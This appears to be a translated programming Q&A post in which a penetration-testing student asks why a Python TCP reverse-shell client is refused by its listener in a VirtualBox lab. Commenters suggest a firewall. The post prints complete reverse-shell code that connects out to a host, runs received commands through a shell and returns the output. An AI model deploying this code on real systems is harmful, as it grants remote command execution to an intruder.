【发布时间】:2018-02-18 00:00:01
【问题描述】:
我对 socket 很陌生,目前正在参加一个针对攻击性渗透测试的在线课程。其中一课是 TCP Reverse shell。我在不同的虚拟机上运行两个脚本(使用 VirtualBox),一个是攻击者,另一个是目标。攻击者脚本运行良好,但客户端输出错误:
Traceback (most recent call last):
File "C:\Users\Home\Desktop\TCP_RevShell.py", line 22 in <module> main()
File "C:\Users\Home\Desktop\TCP_RevShell.py", line 21, in main connect()
File "C:\Users\Home\Desktop\TCP_RevShell.py", line 6, in connect
s.connect(('10.0.2.15', 8080))
File "C:\Python27\lib\socket.py", line 228, in meth return getattr(self._sock,name) (*args)
error: [Errno 10061] No connection could be made because the target machine actively refused it
还有我的代码:
import socket
import subprocess
def connect():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('10.0.2.15', 8080))
while True:
command = s.recv(1024)
if 'terminate' in command:
s.close()
break
else:
CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
s.send(CMD.stdout.read())
s.send(CMD.stdout.read())
def main():
connect()
main()
我不知道您是否需要查看其他脚本来回答我的问题,如果需要,请告诉我。任何帮助将不胜感激,~Spiralio。
【问题讨论】:
-
我相信目标是服务器,对吧?
-
在我做这些事情的时候,需要深入了解 TCP 套接字才能进行渗透测试。事情瞬息万变。
-
确保目标上没有运行阻止连接的防火墙。
-
攻击者脚本运行正常,但是客户端输出错误:攻击者脚本和客户端不一样吗?
-
Barmar:不,实际上它们是不同的。攻击者脚本允许我运行 shell 命令。
标签: python python-2.7 subprocess python-sockets reverse-shell